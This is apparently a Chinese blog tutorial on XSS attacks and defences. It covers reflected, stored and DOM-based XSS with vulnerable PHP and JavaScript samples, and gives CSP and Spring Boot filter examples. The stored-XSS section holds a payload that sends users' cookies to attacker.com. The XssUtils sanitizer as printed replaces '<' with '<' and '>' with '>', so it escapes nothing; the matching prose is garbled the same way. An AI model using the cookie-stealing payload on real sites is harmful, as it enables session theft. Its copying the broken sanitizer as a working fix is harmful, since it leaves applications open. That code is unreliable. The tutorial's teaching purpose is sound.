XSS 攻击?别怕,我们来聊聊怎么把它防住!
最近修改安全问题,修改到XSS攻击。
这玩意儿听起来很高大上,但说白了,它就像一个“恶作剧”,攻击者通过它在你访问的网页里塞进一些小纸条(恶意脚本),这些小纸条能让你的浏览器做一些坏事。
别担心,今天我们就来把它拆解得清清楚楚,让你看完就知道怎么应对。
什么是 XSS 攻击?
XSS,全称跨站脚本攻击(Cross-Site Scripting)。它的核心原理是:利用网站对用户输入的信任,把用户输入的恶意脚本注入到网页里。当其他用户访问这个页面时,这段脚本就会在他们的浏览器上执行,这个执行过程就能做很多事情了,比如向攻击者服务器推送用户敏感信息。
浏览器在渲染一个网页时,会把内容分为两部分:
- 数据:就是我们平时看到的文字、图片,比如“苹果”。
- 指令:就是告诉浏览器“要做点什么”的代码,比如
<script>标签。
正常的网站,会把用户输入当成“数据”来处理。
但如果有漏洞,它会把看上去像数据的恶意输入当作指令,浏览器一看是指令,就毫不犹豫地执行了,这就出问题了。
XSS 攻击有哪几种?
我们根据攻击代码的藏身之处,把 XSS 分为三种主要类型:
1. 反射型 XSS(Reflected XSS)
这种攻击就像一面“镜子”。攻击者不会在网站上留下痕迹,而是把恶意代码放在一个特殊的 URL 里,然后引诱你点击。
当你点击后,这个恶意代码会从服务器“反射”回你的浏览器,并立即执行。
特点:非持久性。代码只存在于 URL 中,浏览器执行一次,攻击就结束了。

攻击代码示例
这是一个存在反射型 XSS 漏洞的后端代码(以 PHP 为例,原理对所有后端语言都适用):
// 存在漏洞的后端代码
<?php
// 从URL的query参数中获取用户输入
$query = $_GET['query'];
?>
<!DOCTYPE html>
<html>
<body>
<p>你搜索了:<?php echo $query; ?></p>
</body>
</html>
攻击者构造的恶意 URL 如下:https://example.com/search?query=<script>alert('反射型XSS攻击成功')</script>。当访问该 URL 时,query 变量中的代码被直接写入页面,导致浏览器执行 alert()。
2. 存储型 XSS(Stored XSS)
这是一种最危险的攻击。恶意代码被永久地存储在网站的数据库里,比如论坛的评论、博客的留言板。
特点:持久性。攻击者只需要植入一次,所有访问这个页面的用户都会中招。

攻击代码示例
攻击者提交的恶意评论内容如下,这段代码会保存到后端数据库里面,这段代码可以窃取用户的 Cookie 并发送给攻击者:
<script>
var img = new Image();
img.src = "http://attacker.com/log.php?cookie=" + document.cookie;
</script>
其他所有用户在查询用户评论的时候,只要访问到这个被注入的恶意代码的评论,都会被窃取 Cookie。
3. DOM 型 XSS(DOM-based XSS)
这是一种特殊的类型,它和服务器完全没关系! 攻击发生在用户的浏览器内部。恶意代码通常藏在 URL 的 # 后面,这部分内容不会发送给服务器。页面上的 JavaScript 会读取这部分不安全的数据,并把它写入 DOM(网页的结构),导致恶意代码被执行。
攻击代码示例
这是一个存在 DOM 型 XSS 漏洞的 JavaScript 代码:
<!DOCTYPE html>
<html>
<body>
<div id="result"></div>
<script>
// 从 URL 的 # 后面获取内容
var urlContent = window.location.hash.substring(1);
// 直接将获取到的内容写入到 DOM 中
document.getElementById("result").innerHTML = urlContent;
</script>
</body>
</html>
攻击者构造的恶意 URL 如下:https://example.com/page.html#<img src=x onerror=alert('DOM型XSS')>。当用户点击该链接时,window.location.hash 会获取到恶意代码并被 innerHTML 直接写入到 <div> 中。浏览器会加载这个 <img>,因为 src 属性是无效的,所以 onerror 事件被触发,导致代码执行。
怎么防住 XSS?核心三板斧!
第一步:对输入进行过滤和净化(服务器端)
这是最根本的防护。我们需要在后端接收到用户输入后,就把它当成“脏数据”,进行严格的过滤。
对于关键字符 < > 进行额外处理,比如转义。
第二步:对输出进行编码和转义(前端/模板引擎)
即使第一步不小心漏掉了,我们还有第二道防线。在把数据渲染到网页上之前,我们需要对特殊字符(比如 < 和 >)进行转义,把它们变成浏览器不会执行的普通字符(< 和 >)。
第三步:内容安全策略(CSP)
如果前面两步都失败了怎么办?别慌,我们还有大招!CSP 是一种 HTTP 响应头,它告诉浏览器:“这个页面只能执行来自我指定的安全来源的脚本! ” 这样,就算攻击者成功注入了恶意脚本,浏览器也会因为来源不合法而拒绝执行。
CSP 响应内容示例
一个典型的 CSP 响应头可能长这样:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self'
这个响应头就像一份安全“清单”,告诉浏览器该页面的哪些资源可以被加载和执行。
default-src 'self':这是所有类型资源(图片、字体、CSS、脚本等)的默认来源。'self'表示只允许加载和执行来自同源地址(同一个域名)的内容。script-src 'self' https://cdn.example.com:这是专门针对 JavaScript 脚本的指令。它告诉浏览器:只允许执行来自本站域名和https://cdn.example.com的脚本。style-src 'self':这是针对 CSS 样式的指令,只允许加载来自本站的样式。
Spring Boot 的防护代码怎么写?
在 Spring Boot 中,最常用的防护方式是使用过滤器(Filter) 。这个过滤器会拦截所有请求,在数据到达你的控制器之前,就对它们进行统一的净化。
1. 核心思路
创建一个 HttpServletRequestWrapper 类,它会“包装”原始的请求,并重写获取参数的方法。当你的代码调用 request.getParameter() 时,实际上调用的是包装类中被重写的方法,这样我们就能在返回数据前对它进行净化。
2. 代码实现
XssFilter (过滤器)
这个过滤器是入口,它会把我们的自定义包装类应用到每一个请求上。
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
public class XssFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
// 使用我们的自定义包装类包装请求
chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response);
}
@Override
public void destroy() {}
}
XssHttpServletRequestWrapper (请求包装类)
这个类是净化的核心,它重写了获取参数的方法。
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import org.owasp.validator.html.*; // 推荐使用专业库
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
super(servletRequest);
}
// 重写获取单个参数的方法
@Override
public String getParameter(String name) {
String value = super.getParameter(name);
return XssUtils.cleanHtml(value); // 调用净化方法
}
// 重写获取参数数组的方法
@Override
public String[] getParameterValues(String name) {
String[] values = super.getParameterValues(name);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = XssUtils.cleanHtml(values[i]); // 循环净化
}
return encodedValues;
}
// ... 还可以重写getHeader, getCookies等方法
}
XssUtils (净化工具类)
这部分强烈建议使用像 OWASP Java HTML Sanitizer 这样的专业库。 自己写很容易出现漏判。下面是一个简化的、用于理解的示例:
public class XssUtils {
public static String cleanHtml(String value) {
if (value == null) {
return null;
}
// 专业的净化库会在这里工作
return value.replaceAll("<", "<").replaceAll(">", ">");
}
}
Spring Boot 配置过滤器
最后,在你的 Spring Boot 应用中注册这个过滤器。
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class WebConfig {
@Bean
public FilterRegistrationBean<XssFilter> xssFilterRegistration() {
FilterRegistrationBean<XssFilter> registrationBean = new FilterRegistrationBean<>();
registrationBean.setFilter(new XssFilter());
registrationBean.addUrlPatterns("/*"); // 拦截所有请求
return registrationBean;
}
}
结语
XSS 防护不是一件难事,只要我们理解它的原理,并记住**“永远不要相信用户的输入”**,同时在输入和输出端都做好把关,就可以大大降低风险。希望这篇文章能帮助你更好地保护你的应用!
761

被折叠的 条评论
为什么被折叠?



